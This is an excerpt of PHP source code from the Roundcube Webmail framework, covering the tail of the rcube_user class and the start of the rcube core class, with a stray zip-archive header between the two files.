            $sql_result = $dbh->limitquery("SELECT u.*"
                . " FROM " . $dbh->table_name('users', true) . " u"
                . " JOIN " . $dbh->table_name('identities', true) . " i ON (i.`user_id` = u.`user_id`)"
                . " WHERE `email` = ? AND `del` <> 1",
                0, 1, $user
            );

            $sql_arr = $dbh->fetch_assoc($sql_result);
        }

        // user already registered -> overwrite username
        if ($sql_arr) {
            return new rcube_user($sql_arr['user_id'], $sql_arr);
        }
    }

    /**
     * Create a new user record and return a rcube_user instance
     *
     * @param string $user IMAP user name
     * @param string $host IMAP host
     *
     * @return rcube_user|null New user instance on success, Null on error/abort
     */
    static function create($user, $host)
    {
        $user_name  = '';
        $user_email = '';
        $rcube      = rcube::get_instance();
        $dbh        = $rcube->get_dbh();

        // try to resolve user in virtuser table and file
        if ($email_list = self::user2email($user, false, true)) {
            $user_email = is_array($email_list[0]) ? $email_list[0]['email'] : $email_list[0];
        }

        $data = $rcube->plugins->exec_hook('user_create', [
                'host'        => $host,
                'user'        => $user,
                'user_name'   => $user_name,
                'user_email'  => $user_email,
                'email_list'  => $email_list,
                'language'    => $_SESSION['language'] ?? null,
                'preferences' => [],
        ]);

        // plugin aborted this operation
        if ($data['abort']) {
            return;
        }

        $insert = $dbh->query(
            "INSERT INTO " . $dbh->table_name('users', true)
            . " (`created`, `last_login`, `username`, `mail_host`, `language`, `preferences`)"
            . " VALUES (" . $dbh->now() . ", " . $dbh->now() . ", ?, ?, ?, ?)",
            $data['user'],
            $data['host'],
            $data['language'],
            serialize($data['preferences'])
        );

        if ($dbh->affected_rows($insert) && ($user_id = $dbh->insert_id('users'))) {
            // create rcube_user instance to make plugin hooks work
            $user_instance = new rcube_user($user_id, [
                    'user_id'     => $user_id,
                    'username'    => $data['user'],
                    'mail_host'   => $data['host'],
                    'language'    => $data['language'],
                    'preferences' => serialize($data['preferences']),
            ]);

            $rcube->user = $user_instance;
            $mail_domain = $rcube->config->mail_domain($data['host']);
            $user_name   = $data['user_name'];
            $user_email  = $data['user_email'];
            $email_list  = $data['email_list'];

            if (empty($email_list)) {
                if (empty($user_email)) {
                    $user_email = strpos($data['user'], '@') ? $user : sprintf('%s@%s', $data['user'], $mail_domain);
                }
                $email_list[] = $user_email;
            }
            // identities_level check
            else if (count($email_list) > 1 && $rcube->config->get('identities_level', 0) > 1) {
                $email_list = [$email_list[0]];
            }

            if (empty($user_name)) {
                $user_name = $data['user'];
            }

            // create new identities records
            $standard = 1;
            foreach ($email_list as $row) {
                $record = [];

                if (is_array($row)) {
                    if (empty($row['email'])) {
                        continue;
                    }
                    $record = $row;
                }
                else {
                    $record['email'] = $row;
                }

                if (empty($record['name'])) {
                    $record['name'] = $user_name != $record['email'] ? $user_name : '';
                }

                $record['user_id']  = $user_id;
                $record['standard'] = $standard;

                $plugin = $rcube->plugins->exec_hook('identity_create',
                    ['login' => true, 'record' => $record]);

                if (!$plugin['abort'] && $plugin['record']['email']) {
                    $rcube->user->insert_identity($plugin['record']);
                }

                $standard = 0;
            }
        }
        else {
            rcube::raise_error([
                    'code' => 500, 'line' => __LINE__, 'file' => __FILE__,
                    'message' => "Failed to create new user"
                ],
                true, false
            );
        }

        return !empty($user_instance) ? $user_instance : null;
    }

    /**
     * Resolve username using a virtuser plugins
     *
     * @param string $email E-mail address to resolve
     *
     * @return string Resolved IMAP username
     */
    static function email2user($email)
    {
        $rcube  = rcube::get_instance();
        $plugin = $rcube->plugins->exec_hook('email2user', ['email' => $email, 'user' => null]);

        return $plugin['user'];
    }

    /**
     * Resolve e-mail address from virtuser plugins
     *
     * @param string $user     User name
     * @param bool   $first    If true returns first found entry
     * @param bool   $extended If true returns email as array (email and name for identity)
     *
     * @return mixed Resolved e-mail address string or array of strings
     */
    static function user2email($user, $first = true, $extended = false)
    {
        $rcube  = rcube::get_instance();
        $plugin = $rcube->plugins->exec_hook('user2email', [
                'email'    => null,
                'user'     => $user,
                'first'    => $first,
                'extended' => $extended
        ]);

        return empty($plugin['email']) ? null : $plugin['email'];
    }

    /**
     * Return a list of saved searches linked with this user
     *
     * @param int $type Search type
     *
     * @return array List of saved searches indexed by search ID
     */
    function list_searches($type)
    {
        $plugin = $this->rc->plugins->exec_hook('saved_search_list', ['type' => $type]);

        if ($plugin['abort']) {
            return (array) $plugin['result'];
        }

        $result = [];

        $sql_result = $this->db->query(
            "SELECT `search_id` AS id, `name`"
            . " FROM " . $this->db->table_name('searches', true)
            . " WHERE `user_id` = ? AND `type` = ?"
            . " ORDER BY `name`",
            (int) $this->ID, (int) $type
        );

        while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            $result[$sql_arr['id']] = $sql_arr;
        }

        return $result;
    }

    /**
     * Return saved search data.
     *
     * @param int $id Row identifier
     *
     * @return array Data
     */
    function get_search($id)
    {
        $plugin = $this->rc->plugins->exec_hook('saved_search_get', ['id' => $id]);

        if ($plugin['abort']) {
            return (array) $plugin['result'];
        }

        $sql_result = $this->db->query(
            "SELECT `name`, `data`, `type`"
            . " FROM ".$this->db->table_name('searches', true)
            . " WHERE `user_id` = ? AND `search_id` = ?",
            (int) $this->ID, (int) $id
        );

        while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            return [
                'id'   => $id,
                'name' => $sql_arr['name'],
                'type' => $sql_arr['type'],
                'data' => unserialize($sql_arr['data']),
            ];
        }

        return [];
    }

    /**
     * Deletes given saved search record
     *
     * @param int $sid Search ID
     *
     * @return bool True if deleted successfully, false if nothing changed
     */
    function delete_search($sid)
    {
        if (!$this->ID) {
            return false;
        }

        $this->db->query(
            "DELETE FROM " . $this->db->table_name('searches', true)
            ." WHERE `user_id` = ? AND `search_id` = ?",
            (int) $this->ID, $sid
        );

        return $this->db->affected_rows() > 0;
    }

    /**
     * Create a new saved search record linked with this user
     *
     * @param array $data Hash array with col->value pairs to save
     *
     * @return int The inserted search ID or false on error
     */
    function insert_search($data)
    {
        if (!$this->ID) {
            return false;
        }

        $insert_cols[]   = 'user_id';
        $insert_values[] = (int) $this->ID;
        $insert_cols[]   = $this->db->quote_identifier('type');
        $insert_values[] = (int) $data['type'];
        $insert_cols[]   = $this->db->quote_identifier('name');
        $insert_values[] = $data['name'];
        $insert_cols[]   = $this->db->quote_identifier('data');
        $insert_values[] = serialize($data['data']);

        $sql = "INSERT INTO " . $this->db->table_name('searches', true)
            . " (" . implode(', ', $insert_cols) . ")"
            . " VALUES (" . implode(', ', array_pad([], count($insert_values), '?')) . ")";

        $insert = $this->db->query($sql, $insert_values);

        return $this->db->affected_rows($insert) ? $this->db->insert_id('searches') : false;
    }

    /**
     * Get a saved response of this user.
     *
     * @param int $id Response ID
     *
     * @return array|null Hash array with all cols of the response record, NULL if not found
     */
    function get_response($id)
    {
        $sql_result = $this->db->query(
            "SELECT * FROM " . $this->db->table_name('responses', true)
                . " WHERE `user_id` = ? AND `response_id` = ? AND `del` = 0",
            $this->ID, $id
        );

        if ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            $sql_arr['id']      = $sql_arr['response_id'];
            $sql_arr['is_html'] = !empty($sql_arr['is_html']);

            unset($sql_arr['response_id']);

            return $sql_arr;
        }
    }

    /**
     * Return a list of all responses of this user.
     *
     * @return array List of responses (id, name)
     */
    function list_responses()
    {
        // Migrate the old responses existing in user preferences
        if (!empty($this->prefs['compose_responses'])) {
            foreach ($this->prefs['compose_responses'] as $response) {
                $this->insert_response([
                        'name' => $response['name'],
                        'data' => $response['text'],
                ]);
            }

            $this->save_prefs(['compose_responses' => null]);
        }

        $sql_result = $this->db->query(
            "SELECT `response_id`, `name` FROM " . $this->db->table_name('responses', true)
                . " WHERE `user_id` = ? AND `del` = 0"
                . " ORDER BY `name`",
            $this->ID
        );

        $result = [];

        while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            $result[] = [
                'id'   => $sql_arr['response_id'],
                'name' => $sql_arr['name'],
            ];
        }

        return $result;
    }

    /**
     * Update a specific response record.
     *
     * @param int   $id   Response ID
     * @param array $data Hash array with col->value pairs to save
     *
     * @return bool True if saved successfully, false if nothing changed
     */
    function update_response($id, $data)
    {
        if (!$this->ID) {
            return false;
        }

        $query_cols = $query_params = [];

        foreach (['name', 'data', 'is_html'] as $col) {
            if (isset($data[$col])) {
                $query_cols[]   = $this->db->quote_identifier($col) . ' = ?';
                $query_params[] = $col == 'is_html' ? intval($data[$col]) : $data[$col];
            }
        }
        $query_params[] = $id;
        $query_params[] = $this->ID;

        $sql = "UPDATE " . $this->db->table_name('responses', true)
            . " SET `changed` = " . $this->db->now() . ", " . implode(', ', $query_cols)
            . " WHERE `response_id` = ? AND `user_id` = ? AND `del` = 0";

        $this->db->query($sql, $query_params);

        return $this->db->affected_rows() > 0;
    }

    /**
     * Create a new response record for the user.
     *
     * @param array $data Hash array with col->value pairs to save
     *
     * @return int|false The inserted response ID or false on error
     */
    function insert_response($data)
    {
        if (!$this->ID) {
            return false;
        }

        $query_cols   = [$this->db->quote_identifier('user_id')];
        $query_params = [$this->ID];

        foreach (['name', 'data', 'is_html'] as $col) {
            if (isset($data[$col])) {
                $query_cols[]   = $this->db->quote_identifier($col);
                $query_params[] = $col == 'is_html' ? intval($data[$col]) : $data[$col];
            }
        }

        $sql = "INSERT INTO " . $this->db->table_name('responses', true)
            . " (`changed`, " . implode(', ', $query_cols) . ")"
            . " VALUES (" . $this->db->now() . ", " . trim(str_repeat('?, ', count($query_cols)), ', ') . ")";

        $insert = $this->db->query($sql, $query_params);

        return $this->db->affected_rows($insert) ? $this->db->insert_id('responses') : false;
    }

    /**
     * Delete the given response record
     *
     * @param int $id Response ID
     *
     * @return bool True if deleted successfully, false otherwise
     */
    function delete_response($id)
    {
        if (!$this->ID) {
            return false;
        }

        $this->db->query(
            "UPDATE " . $this->db->table_name('responses', true)
                . " SET `del` = 1 WHERE `user_id` = ? AND `response_id` = ?",
            $this->ID,
            $id
        );

        return $this->db->affected_rows() > 0;
    }
}
PK
h�\�]^�^�program/lib/Roundcube/rcube.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Framework base class providing core functions and holding           |
 |   instances of all 'global' objects like db- and storage-connections  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Base class of the Roundcube Framework
 * implemented as singleton
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube
{
    // Init options
    const INIT_WITH_DB      = 1;
    const INIT_WITH_PLUGINS = 2;

    // Request status
    const REQUEST_VALID       = 0;
    const REQUEST_ERROR_URL   = 1;
    const REQUEST_ERROR_TOKEN = 2;

    const DEBUG_LINE_LENGTH = 4096;

    /** @var rcube_config Stores instance of rcube_config */
    public $config;

    /** @var rcube_db Instance of database class */
    public $db;

    /** @var Memcache Instance of Memcache class */
    public $memcache;

    /** @var Memcached Instance of Memcached class */
    public $memcached;

    /** @var Redis Instance of Redis class */
    public $redis;

    /** @var rcube_session Instance of rcube_session class */
    public $session;

    /** @var rcube_smtp Instance of rcube_smtp class */
    public $smtp;

    /** @var rcube_storage Instance of rcube_storage class */
    public $storage;

    /** @var rcube_output Instance of rcube_output class */
    public $output;

    /** @var rcube_plugin_api Instance of rcube_plugin_api */
    public $plugins;

    /** @var rcube_user Instance of rcube_user class */
    public $user;

    /** @var int Request status */
    public $request_status = 0;

    /** @var array Localization */
    protected $texts;

    /** @var rcube_cache[] Initialized cache objects */
    protected $caches = [];

    /** @var array Registered shutdown functions */
    protected $shutdown_functions = [];

    /** @var rcube Singleton instance of rcube */
    static protected $instance;


    /**
     * This implements the 'singleton' design pattern
     *
     * @param int    $mode Options to initialize with this instance. See rcube::INIT_WITH_* constants
     * @param string $env  Environment name to run (e.g. live, dev, test)
     *
     * @return rcube The one and only instance
     */
    static function get_instance($mode = 0, $env = '')
    {
        if (!self::$instance) {
            self::$instance = new rcube($env);
            self::$instance->init($mode);
        }

        return self::$instance;
    }

    /**
     * Private constructor
     *
     * @param string $env Environment name to run (e.g. live, dev, test)
     */
    protected function __construct($env = '')
    {
        // load configuration
        $this->config  = new rcube_config($env);
        $this->plugins = new rcube_dummy_plugin_api;

        register_shutdown_function([$this, 'shutdown']);
    }

    /**
     * Initial startup function
     *
     * @param int $mode Options to initialize with this instance. See rcube::INIT_WITH_* constants
     */
    protected function init($mode = 0)
    {
        // initialize syslog
        if ($this->config->get('log_driver') == 'syslog') {
            $syslog_id       = $this->config->get('syslog_id', 'roundcube');
            $syslog_facility = $this->config->get('syslog_facility', LOG_USER);
            openlog($syslog_id, LOG_ODELAY, $syslog_facility);
        }

        // connect to database
        if ($mode & self::INIT_WITH_DB) {
            $this->get_dbh();
        }

        // create plugin API and load plugins
        if ($mode & self::INIT_WITH_PLUGINS) {
            $this->plugins = rcube_plugin_api::get_instance();
        }
    }

    /**
     * Get the current database connection
     *
     * @return rcube_db Database object
     */
    public function get_dbh()
    {
        if (!$this->db) {
            $this->db = rcube_db::factory(
                $this->config->get('db_dsnw'),
                $this->config->get('db_dsnr'),
                $this->config->get('db_persistent')
            );

            $this->db->set_debug((bool)$this->config->get('sql_debug'));
        }

        return $this->db;
    }

    /**
     * Get global handle for memcache access
     *
     * @return Memcache The memcache engine
     */
    public function get_memcache()
    {
        if (!isset($this->memcache)) {
            $this->memcache = rcube_cache_memcache::engine();
        }

        return $this->memcache;
    }

    /**
     * Get global handle for memcached access
     *
     * @return Memcached The memcached engine
     */
    public function get_memcached()
    {
        if (!isset($this->memcached)) {
            $this->memcached = rcube_cache_memcached::engine();
        }

        return $this->memcached;
    }

    /**
     * Get global handle for redis access
     *
     * @return Redis The redis engine
     */
    public function get_redis()
    {
        if (!isset($this->redis)) {
            $this->redis = rcube_cache_redis::engine();
        }

        return $this->redis;
    }

    /**
     * Initialize and get user cache object
     *
     * @param string $name    Cache identifier
     * @param string $type    Cache type ('db', 'apc', 'memcache', 'redis')
     * @param string $ttl     Expiration time for cache items
     * @param bool   $packed  Enables/disables data serialization
     * @param bool   $indexed Use indexed cache
     *
     * @return rcube_cache|null User cache object
     */
    public function get_cache($name, $type = 'db', $ttl = 0, $packed = true, $indexed = false)
    {
        if (!isset($this->caches[$name]) && ($userid = $this->get_user_id())) {
            $this->caches[$name] = rcube_cache::factory($type, $userid, $name, $ttl, $packed, $indexed);
        }

        return $this->caches[$name] ?? null;
    }

    /**
     * Initialize and get shared cache object
     *
     * @param string $name   Cache identifier
     * @param bool   $packed Enables/disables data serialization
     *
     * @return rcube_cache Shared cache object
     */
    public function get_cache_shared($name, $packed = true)
    {
        $shared_name = "shared_$name";

        if (!array_key_exists($shared_name, $this->caches)) {
            $opt  = strtolower($name) . '_cache';
            $type = $this->config->get($opt);
            $ttl  = $this->config->get($opt . '_ttl');

            if (!$type) {
                // cache is disabled
                return $this->caches[$shared_name] = null;
            }

            if ($ttl === null) {
                $ttl = $this->config->get('shared_cache_ttl', '10d');
            }

            $this->caches[$shared_name] = rcube_cache::factory($type, null, $name, $ttl, $packed);
        }

        return $this->caches[$shared_name];
    }

    /**
     * Initialize HTTP client
     *
     * @param array $options Configuration options
     *
     * @return \GuzzleHttp\Client HTTP client
     */
    public function get_http_client($options = [])
    {
        return new \GuzzleHttp\Client($options + $this->config->get('http_client'));
    }

    /**
     * Create SMTP object and connect to server
     *
     * @param bool $connect True if connection should be established
     */
    public function smtp_init($connect = false)
    {
        $this->smtp = new rcube_smtp();

        if ($connect) {
            $this->smtp->connect();
        }
    }

    /**
     * Initialize and get storage object
     *
     * @return rcube_storage Storage object
     */
    public function get_storage()
    {
        // already initialized
        if (!is_object($this->storage)) {
            $this->storage_init();
        }

        return $this->storage;
    }

    /**
     * Initialize storage object
     */
    public function storage_init()
    {
        // already initialized
        if (is_object($this->storage)) {
            return;
        }

        $driver       = $this->config->get('storage_driver', 'imap');
        $driver_class = "rcube_{$driver}";

        if (!class_exists($driver_class)) {
            self::raise_error([
                    'code' => 700, 'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Storage driver class ($driver) not found!"
                ],
                true, true
            );
        }

        // Initialize storage object
        $this->storage = new $driver_class;

        // set class options
        $options = [
            'auth_type'      => $this->config->get("{$driver}_auth_type", 'check'),
            'auth_cid'       => $this->config->get("{$driver}_auth_cid"),
            'auth_pw'        => $this->config->get("{$driver}_auth_pw"),
            'debug'          => (bool) $this->config->get("{$driver}_debug"),
            'force_caps'     => (bool) $this->config->get("{$driver}_force_caps"),
            'disabled_caps'  => $this->config->get("{$driver}_disabled_caps"),
            'socket_options' => $this->config->get("{$driver}_conn_options"),
            'timeout'        => (int) $this->config->get("{$driver}_timeout"),
            'skip_deleted'   => (bool) $this->config->get('skip_deleted'),
            'driver'         => $driver,
        ];

        if (!empty($_SESSION['storage_host'])) {
            $options['language'] = $_SESSION['language'];
            $options['host']     = $_SESSION['storage_host'];
            $options['user']     = $_SESSION['username'];
            $options['port']     = $_SESSION['storage_port'];
            $options['ssl']      = $_SESSION['storage_ssl'];
            $options['password'] = $this->decrypt($_SESSION['password']);
            $_SESSION[$driver.'_host'] = $_SESSION['storage_host'];
        }

        $options = $this->plugins->exec_hook("storage_init", $options);

        // for backward compat. (deprecated, to be removed)
        $options = $this->plugins->exec_hook("imap_init", $options);

        $this->storage->set_options($options);
        $this->set_storage_prop();

        // subscribe to 'storage_connected' hook for session logging
        if ($this->config->get('imap_log_session', false)) {
            $this->plugins->register_hook('storage_connected', [$this, 'storage_log_session']);
        }
    }

    /**
     * Set storage parameters.
     */
    protected function set_storage_prop()
    {
        $storage = $this->get_storage();

        // set pagesize from config
        $pagesize = $this->config->get('mail_pagesize');
        if (!$pagesize) {
            $pagesize = $this->config->get('pagesize', 50);
        }

        $storage->set_pagesize($pagesize);
        $storage->set_charset($this->config->get('default_charset', RCUBE_CHARSET));

        // enable caching of mail data
        $driver         = $this->config->get('storage_driver', 'imap');
        $storage_cache  = $this->config->get("{$driver}_cache");
        $messages_cache = $this->config->get('messages_cache');

        // for backward compatibility
        if ($storage_cache === null && $messages_cache === null && $this->config->get('enable_caching')) {
            $storage_cache  = 'db';
            $messages_cache = true;
        }

        if ($storage_cache) {
            $storage->set_caching($storage_cache);
        }

        if ($messages_cache) {
            $storage->set_messages_caching(true);
        }
    }

    /**
     * Set special folders type association.
     * This must be done AFTER connecting to the server!
     */
    protected function set_special_folders()
    {
        $storage = $this->get_storage();
        $folders = $storage->get_special_folders(true);
        $prefs   = [];

        // check SPECIAL-USE flags on IMAP folders
        foreach ($folders as $type => $folder) {
            $idx = $type . '_mbox';
            if ($folder !== $this->config->get($idx)) {
                $prefs[$idx] = $folder;
            }
        }

        // Some special folders differ, update user preferences
        if (!empty($prefs) && $this->user) {
            $this->user->save_prefs($prefs);
        }

        // create default folders (on login)
        if ($this->config->get('create_default_folders')) {
            $storage->create_default_folders();
        }
    }

    /**
     * Callback for IMAP connection events to log session identifiers
     *
     * @param array $args Callback arguments
     */
    public function storage_log_session($args)
    {
        if (!empty($args['session']) && session_id()) {
            $this->write_log('imap_session', $args['session']);
        }
    }

    /**
     * Create session object and start the session.
     */
    public function session_init()
    {
        // Ignore in CLI mode or when session started (Installer?)
        if (empty($_SERVER['REMOTE_ADDR']) || session_id()) {
            return;
        }

        $storage       = $this->config->get('session_storage', 'db');
        $sess_name     = $this->config->get('session_name');
        $sess_domain   = $this->config->get('session_domain');
        $sess_path     = $this->config->get('session_path');
        $sess_samesite = $this->config->get('session_samesite');
        $lifetime      = $this->config->get('session_lifetime', 0) * 60;
        $is_secure     = $this->config->get('use_https') || rcube_utils::https_check();

        // set session domain
        if ($sess_domain) {
            ini_set('session.cookie_domain', $sess_domain);
        }
        // set session path
        if ($sess_path) {
            ini_set('session.cookie_path', $sess_path);
        }
        // set session samesite attribute
        if ($sess_samesite) {
            ini_set('session.cookie_samesite', $sess_samesite);
        }
        // set session garbage collecting time according to session_lifetime
        if ($lifetime) {
            ini_set('session.gc_maxlifetime', $lifetime * 2);
        }

        // set session cookie lifetime so it never expires (#5961)
        ini_set('session.cookie_lifetime', 0);
        ini_set('session.cookie_secure', $is_secure);
        ini_set('session.name', $sess_name ?: 'roundcube_sessid');
        ini_set('session.use_cookies', 1);
        ini_set('session.use_only_cookies', 1);
        ini_set('session.cookie_httponly', 1);

        // Make sure session garbage collector is enabled when using custom handlers (#6560)
        // Note: Use session.gc_divisor to control accuracy
        if ($storage != 'php' && !ini_get('session.gc_probability')) {
            ini_set('session.gc_probability', 1);
        }

        // Start the session
        $this->session = rcube_session::factory($this->config);
        $this->session->register_gc_handler([$this, 'gc']);
        $this->session->start();
    }

    /**
     * Garbage collector - cache/temp cleaner
     */
    public function gc()
    {
        rcube_cache::gc();
        $this->get_storage()->cache_gc();
        $this->gc_temp();
    }

    /**
     * Garbage collector function for temp files.
     * Removes temporary files older than temp_dir_ttl.
     */
    public function gc_temp()
    {
        $tmp = unslashify($this->config->get('temp_dir'));

        // expire in 48 hours by default
        $temp_dir_ttl = $this->config->get('temp_dir_ttl', '48h');
        $temp_dir_ttl = get_offset_sec($temp_dir_ttl);
        if ($temp_dir_ttl < 6*3600) {
            $temp_dir_ttl = 6*3600;   // 6 hours sensible lower bound.
        }

        $expire = time() - $temp_dir_ttl;

        if ($tmp && ($dir = opendir($tmp))) {
            while (($fname = readdir($dir)) !== false) {
                if (strpos($fname, RCUBE_TEMP_FILE_PREFIX) !== 0) {
                    continue;
                }

                if (@filemtime("$tmp/$fname") < $expire) {
                    @unlink("$tmp/$fname");
                }
            }

            closedir($dir);
        }
    }

    /**
     * Runs garbage collector with probability based on
     * session settings. This is intended for environments
     * without a session.
     */
    public function gc_run()
    {
        $probability = (int) ini_get('session.gc_probability');
        $divisor     = (int) ini_get('session.gc_divisor');

        if ($divisor > 0 && $probability > 0) {
            $random = mt_rand(1, $divisor);
            if ($random <= $probability) {
                $this->gc();
            }
        }
    }

    /**
     * Get localized text in the desired language
     *
     * @param mixed  $attrib Named parameters array or label name
     * @param string $domain Label domain (plugin) name
     *
     * @return string Localized text
     */
    public function gettext($attrib, $domain = null)
    {
        // load localization files if not done yet
        if (empty($this->texts)) {
            $this->load_language();
        }

        // extract attributes
        if (is_string($attrib)) {
            $attrib = ['name' => $attrib];
        }

        $name = (string) $attrib['name'];

        // attrib contain text values: use them from now
        $slang = !empty($_SESSION['language']) ? strtolower($_SESSION['language']) : 'en_us';
        if (isset($attrib[$slang])) {
            $this->texts[$name] = $attrib[$slang];
        }
        else if ($slang != 'en_us' && isset($attrib['en_us'])) {
            $this->texts[$name] = $attrib['en_us'];
        }

        // check for text with domain
        if ($domain && isset($this->texts["$domain.$name"])) {
            $text = $this->texts["$domain.$name"];
        }
        else if (isset($this->texts[$name])) {
            $text = $this->texts[$name];
        }

        // text does not exist
        if (!isset($text)) {
            return "[$name]";
        }

        // replace vars in text
        if (!empty($attrib['vars']) && is_array($attrib['vars'])) {
            foreach ($attrib['vars'] as $var_key => $var_value) {
                if ($var_key[0] != '$') {
                    $var_key = '$' . $var_key;
                }

                $text = str_replace($var_key, $var_value ?? '', $text);
            }
        }

        // replace \n with real line break
        $text = strtr($text, ['\n' => "\n"]);

        // case folding
        if ((!empty($attrib['uppercase']) && strtolower($attrib['uppercase']) == 'first') || !empty($attrib['ucfirst'])) {
            $case_mode = MB_CASE_TITLE;
        }
        else if (!empty($attrib['uppercase'])) {
            $case_mode = MB_CASE_UPPER;
        }
        else if (!empty($attrib['lowercase'])) {
            $case_mode = MB_CASE_LOWER;
        }

        if (isset($case_mode)) {
            $text = mb_convert_case($text, $case_mode);
        }

        return $text;
    }

    /**
     * Check if the given text label exists
     *
     * @param string $name        Label name
     * @param string $domain      Label domain (plugin) name or '*' for all domains
     * @param string &$ref_domain Sets domain name if label is found
     *
     * @return bool True if text exists (either in the current language or in en_US)
     */
    public function text_exists($name, $domain = null, &$ref_domain = null)
    {
        // load localization files if not done yet
        if (empty($this->texts)) {
            $this->load_language();
        }

        if (isset($this->texts[$name])) {
            $ref_domain = '';
            return true;
        }

        // any of loaded domains (plugins)
        if ($domain == '*') {
            foreach ($this->plugins->loaded_plugins() as $domain) {
                if (isset($this->texts[$domain.'.'.$name])) {
                    $ref_domain = $domain;
                    return true;
                }
            }
        }
        // specified domain
        else if ($domain && isset($this->texts[$domain.'.'.$name])) {
            $ref_domain = $domain;
            return true;
        }

        return false;
    }

    /**
     * Load a localization package
     *
     * @param string $lang  Language ID
     * @param array  $add   Additional text labels/messages
     * @param array  $merge Additional text labels/messages to merge
     */
    public function load_language($lang = null, $add = [], $merge = [])
    {
        $sess_lang = !empty($_SESSION['language']) ? $_SESSION['language'] : 'en_US';
        $lang      = $this->language_prop($lang ?: $sess_lang);

        // load localized texts
        if (empty($this->texts) || $lang != $sess_lang) {
            // get english labels (these should be complete)
            $files = [
                RCUBE_LOCALIZATION_DIR . 'en_US/labels.inc',
                RCUBE_LOCALIZATION_DIR . 'en_US/messages.inc',
            ];

            // include user language files
            if ($lang != 'en' && $lang != 'en_US' && is_dir(RCUBE_LOCALIZATION_DIR . $lang)) {
                $files[] = RCUBE_LOCALIZATION_DIR . $lang . '/labels.inc';
                $files[] = RCUBE_LOCALIZATION_DIR . $lang . '/messages.inc';
            }

            $this->texts = [];

            foreach ($files as $file) {
                $this->texts = self::read_localization_file($file, $this->texts);
            }

            $_SESSION['language'] = $lang;
        }

        // append additional texts (from plugin)
        if (is_array($add) && !empty($add)) {
            $this->texts += $add;
        }

        // merge additional texts (from plugin)
        if (is_array($merge) && !empty($merge)) {
            $this->texts = array_merge($this->texts, $merge);
        }
    }

    /**
     * Read localized texts from an additional location (plugins, skins).
     * Then you can use the result as 2nd arg to load_language().
     *
     * @param string      $dir  Directory to search in
     * @param string|null $lang Language code to read
     *
     * @return array Localization labels/messages
     */
    public function read_localization($dir, $lang = null)
    {
        if ($lang == null) {
            $lang = $_SESSION['language'];
        }
        $langs  = array_unique(['en_US', $lang]);
        $locdir = slashify($dir);
        $texts  = [];

        // Language aliases used to find localization in similar lang, see below
        $aliases = [
            'de_CH' => 'de_DE',
            'es_AR' => 'es_ES',
            'fa_AF' => 'fa_IR',
            'nl_BE' => 'nl_NL',
            'pt_BR' => 'pt_PT',
            'zh_CN' => 'zh_TW',
        ];

        foreach ($langs as $lng) {
            $fpath = $locdir . $lng . '.inc';
            $_texts = self::read_localization_file($fpath);

            if (!empty($_texts)) {
                $texts = array_merge($texts, $_texts);
            }
            // Fallback to a localization in similar language (#1488401)
            else if ($lng != 'en_US') {
                $alias = null;
                if (!empty($aliases[$lng])) {
                    $alias = $aliases[$lng];
                }
                else if ($key = array_search($lng, $aliases)) {
                    $alias = $key;
                }

                if (!empty($alias)) {
                    $fpath = $locdir . $alias . '.inc';
                    $texts = self::read_localization_file($fpath, $texts);
                }
            }
        }

        return $texts;
    }


    /**
     * Load localization file
     *
     * @param string $file  File location
     * @param array  $texts Additional texts to merge with
     *
     * @return array Localization labels/messages
     */
    public static function read_localization_file($file, $texts = [])
    {
        if (is_file($file) && is_readable($file)) {
            $labels   = [];
            $messages = [];

            // use buffering to handle empty lines/spaces after closing PHP tag
            ob_start();
            include $file;
            ob_end_clean();

            if (!empty($labels)) {
                $texts = array_merge($texts, $labels);
            }

            if (!empty($messages)) {
                $texts = array_merge($texts, $messages);
            }
        }

        return $texts;
    }

    /**
     * Check the given string and return a valid language code
     *
     * @param string $lang Language code
     *
     * @return string Valid language code
     */
    protected function language_prop($lang)
    {
        static $rcube_languages, $rcube_language_aliases;

        // user HTTP_ACCEPT_LANGUAGE if no language is specified
        if ((empty($lang) || $lang == 'auto') && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
            $accept_langs = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
            $lang         = $accept_langs[0];

            if (preg_match('/^([a-z]+)[_-]([a-z]+)$/i', $lang, $m)) {
                $lang = $m[1] . '_' . strtoupper($m[2]);
            }
        }

        if (empty($rcube_languages)) {
            @include(RCUBE_LOCALIZATION_DIR . 'index.inc');
        }

        // check if we have an alias for that language
        if (!isset($rcube_languages[$lang]) && isset($rcube_language_aliases[$lang])) {
            $lang = $rcube_language_aliases[$lang];
        }
        // try the first two chars
        else if ($lang && !isset($rcube_languages[$lang])) {
            $short = substr($lang, 0, 2);

            // check if we have an alias for the short language code
            if (!isset($rcube_languages[$short]) && isset($rcube_language_aliases[$short])) {
                $lang = $rcube_language_aliases[$short];
            }
            // expand 'nn' to 'nn_NN'
            else if (!isset($rcube_languages[$short])) {
                $lang = $short.'_'.strtoupper($short);
            }
        }

        if (!isset($rcube_languages[$lang]) || !is_dir(RCUBE_LOCALIZATION_DIR . $lang)) {
            $lang = 'en_US';
        }

        return $lang;
    }

    /**
     * Read directory program/localization and return a list of available languages
     *
     * @return array List of available localizations
     */
    public function list_languages()
    {
        static $sa_languages = [];

        if (!count($sa_languages)) {
            @include(RCUBE_LOCALIZATION_DIR . 'index.inc');

            if ($dh = @opendir(RCUBE_LOCALIZATION_DIR)) {
                while (($name = readdir($dh)) !== false) {
                    if ($name[0] == '.' || !is_dir(RCUBE_LOCALIZATION_DIR . $name)) {
                        continue;
                    }

                    if (isset($rcube_languages[$name])) {
                        $sa_languages[$name] = $rcube_languages[$name];
                    }
                }

                closedir($dh);
            }
        }

        return $sa_languages;
    }

    /**
     * Encrypt a string
     *
     * @param string $clear  Clear text input
     * @param string $key    Encryption key to retrieve from the configuration, defaults to 'des_key'
